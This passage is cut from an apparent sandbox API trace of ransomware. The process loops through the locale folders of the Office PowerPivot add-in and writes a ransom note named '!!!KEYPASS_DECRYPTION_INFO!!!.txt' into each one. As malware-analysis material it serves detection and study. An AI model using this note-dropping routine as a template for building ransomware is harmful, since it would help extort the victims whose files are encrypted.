add-in\\resources\\1069\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0255.449] GetFileType (hFile=0x974) returned 0x1 [0255.449] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.449] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.449] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.449] WriteFile (in: hFile=0x974, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.450] WriteFile (in: hFile=0x974, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.450] CloseHandle (hObject=0x974) returned 1 [0255.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a078 [0255.450] FindNextFileW (in: hFindFile=0x3a0a078, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.450] FindNextFileW (in: hFindFile=0x3a0a078, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.450] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.451] FindNextFileW (in: hFindFile=0x3a0a078, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.451] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.451] FindNextFileW (in: hFindFile=0x3a0a078, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.451] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.451] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.451] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.451] GetLastError () returned 0x3f0 [0255.451] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.451] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1081\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0255.453] GetFileType (hFile=0x97c) returned 0x1 [0255.453] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.453] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.453] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.454] WriteFile (in: hFile=0x97c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.454] WriteFile (in: hFile=0x97c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.454] CloseHandle (hObject=0x97c) returned 1 [0255.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a7b8 [0255.455] FindNextFileW (in: hFindFile=0x3a0a7b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.455] FindNextFileW (in: hFindFile=0x3a0a7b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.455] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.455] FindNextFileW (in: hFindFile=0x3a0a7b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.455] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.455] FindNextFileW (in: hFindFile=0x3a0a7b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.455] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.455] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.455] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.455] GetLastError () returned 0x3f0 [0255.455] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.455] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1086\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0255.459] GetFileType (hFile=0x980) returned 0x1 [0255.459] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.459] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.459] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.459] WriteFile (in: hFile=0x980, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.460] WriteFile (in: hFile=0x980, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.461] CloseHandle (hObject=0x980) returned 1 [0255.461] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a3f8 [0255.461] FindNextFileW (in: hFindFile=0x3a0a3f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.461] FindNextFileW (in: hFindFile=0x3a0a3f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.461] FindNextFileW (in: hFindFile=0x3a0a3f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.461] FindNextFileW (in: hFindFile=0x3a0a3f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.461] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.461] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.461] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.461] GetLastError () returned 0x3f0 [0255.461] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.462] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1087\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0255.463] GetFileType (hFile=0x984) returned 0x1 [0255.463] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.463] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.463] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.463] WriteFile (in: hFile=0x984, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.464] WriteFile (in: hFile=0x984, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.464] CloseHandle (hObject=0x984) returned 1 [0255.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a478 [0255.465] FindNextFileW (in: hFindFile=0x3a0a478, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.465] FindNextFileW (in: hFindFile=0x3a0a478, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.465] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.465] FindNextFileW (in: hFindFile=0x3a0a478, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.465] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.465] FindNextFileW (in: hFindFile=0x3a0a478, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.465] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.465] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.465] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.465] GetLastError () returned 0x3f0 [0255.465] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.465] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1110\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0255.466] GetFileType (hFile=0x988) returned 0x1 [0255.466] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.466] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.466] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.466] WriteFile (in: hFile=0x988, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.467] WriteFile (in: hFile=0x988, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.467] CloseHandle (hObject=0x988) returned 1 [0255.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a678 [0255.468] FindNextFileW (in: hFindFile=0x3a0a678, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.468] FindNextFileW (in: hFindFile=0x3a0a678, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.468] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.468] FindNextFileW (in: hFindFile=0x3a0a678, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.468] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.468] FindNextFileW (in: hFindFile=0x3a0a678, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.468] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.468] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.468] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.468] GetLastError () returned 0x3f0 [0255.468] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.468] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2052\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0255.470] GetFileType (hFile=0x978) returned 0x1 [0255.470] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.470] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.471] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.471] WriteFile (in: hFile=0x978, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.472] WriteFile (in: hFile=0x978, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.472] CloseHandle (hObject=0x978) returned 1 [0255.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a578 [0255.472] FindNextFileW (in: hFindFile=0x3a0a578, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.472] FindNextFileW (in: hFindFile=0x3a0a578, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.472] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.473] FindNextFileW (in: hFindFile=0x3a0a578, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.473] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.473] FindNextFileW (in: hFindFile=0x3a0a578, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.473] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.473] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.473] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.473] GetLastError () returned 0x3f0 [0255.473] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.473] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2070\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0255.475] GetFileType (hFile=0x98c) returned 0x1 [0255.476] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.476] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.476] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.476] WriteFile (in: hFile=0x98c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.477] WriteFile (in: hFile=0x98c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.477] CloseHandle (hObject=0x98c) returned 1 [0255.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a5b8 [0255.477] FindNextFileW (in: hFindFile=0x3a0a5b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.477] FindNextFileW (in: hFindFile=0x3a0a5b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.477] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.477] FindNextFileW (in: hFindFile=0x3a0a5b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.477] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.478] FindNextFileW (in: hFindFile=0x3a0a5b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.478] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.478] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.478] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.478] GetLastError () returned 0x3f0 [0255.478] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.478] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft 